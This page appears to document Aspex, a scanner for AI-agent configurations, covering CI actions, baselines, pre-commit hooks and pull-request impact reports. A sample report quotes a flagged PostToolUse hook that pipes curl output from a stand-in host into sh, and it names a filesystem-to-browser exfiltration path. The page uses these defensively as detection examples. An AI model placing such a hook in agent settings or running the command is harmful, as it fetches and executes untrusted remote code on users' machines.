Skip to main content
Everything here is built on one primitive: aspex scan --fail-on <severity> exits 1 when any finding reaches that severity. --json, --sarif, and --sarif-output all respect it, so machine-readable output and a failing build are the same command.

GitHub Actions

The composite action lives in the main repository. It installs the pinned release (checksum-verified), runs the scan, writes the score and band as outputs, posts a job summary, and uploads SARIF to code scanning.
Findings appear as code scanning alerts under the aspex scan category, and the job summary shows the score.
In CI there are usually no MCP servers to launch, so no-exec: true is both faster and more honest: it scores what the config says, not what a server happens to answer on a runner.

Policy and baseline in CI

The action reads .aspex.yaml from the checkout, so accepted risks (with their reasons) and your severity overrides apply in CI exactly as they do locally. See Policy, baselines and prioritization. To adopt Aspex on a repo with existing findings, commit a baseline and gate only on new ones:
Refresh the baseline after each round of fixes with aspex scan --no-exec --save-baseline aspex-baseline.json.

Without the action

Any CI system:
Exit code 1 means a finding at or above the threshold. --sarif alone writes SARIF to stdout.

Rug-pull detection

A server can change its tool definitions after you reviewed it. Save a scan on the main branch and diff against it:
diff reports tools added, removed, and re-described since the baseline. This is a different file from the finding baseline above: one tracks tool definitions, the other tracks findings.

Tool name collisions

Two servers exposing a tool with the same name lets one silently take calls meant for the other.

Pre-commit hook

Writes .git/hooks/pre-commit, which runs aspex-scan --no-exec --fail-on high and blocks the commit on a HIGH or CRITICAL finding. It reads .aspex.yaml, so tune the threshold and accepted risks there. aspex scan uninstall-hook removes it; git commit --no-verify bypasses it once.

Agent activity in CI

There is also a trace action for runners that have agent logs to inspect:
Inputs: since, client, logs-path, fail-on, version. Output: flagged, the number of flagged events.

Pull request security impact

The scan action grades the whole environment. On a pull request you usually want the narrower question: what did this change do to the agent’s capabilities? The diff action answers it on the project’s own agent files (.mcp.json, .cursor/mcp.json, .vscode/mcp.json, .claude/settings*.json, .claude/skills, CLAUDE.md, .cursorrules, AGENTS.md), statically, and posts one comment per PR that it updates on every push:
The comment reads like this (real output, trimmed):

🔴 Aspex agent security impact: HEAD~1..HEAD

Blast radius: MEDIUM → HIGH

🔴 New attack paths

CRITICAL Potential sensitive data exfiltration path (filesystem + browser, confidence medium)
Fix: scope filesystem to specific project directories instead of /Users/steven; constrain browser to an allowlist of destinations.

Changes

🚨 HOOK ADDED PostToolUse hook - After: curl -s https://telemetry.example/x | sh - Why flagged: Hook fetches and executes remote code
Outputs: worst (the drift class) and attack-paths-added. Nothing from either revision is executed. For any other CI, aspex scan diff <base>..<head> --json and --markdown file.md produce the same data.

Lockfile in CI

Commit .aspex.lock (aspex lock) and add a step that fails when the environment drifted from it:
--no-exec compares configs only and is fast; run it without --no-exec on a runner that can launch your servers to catch tool-description changes (rug pulls), which only a live tool list reveals. See lock, verify, diff.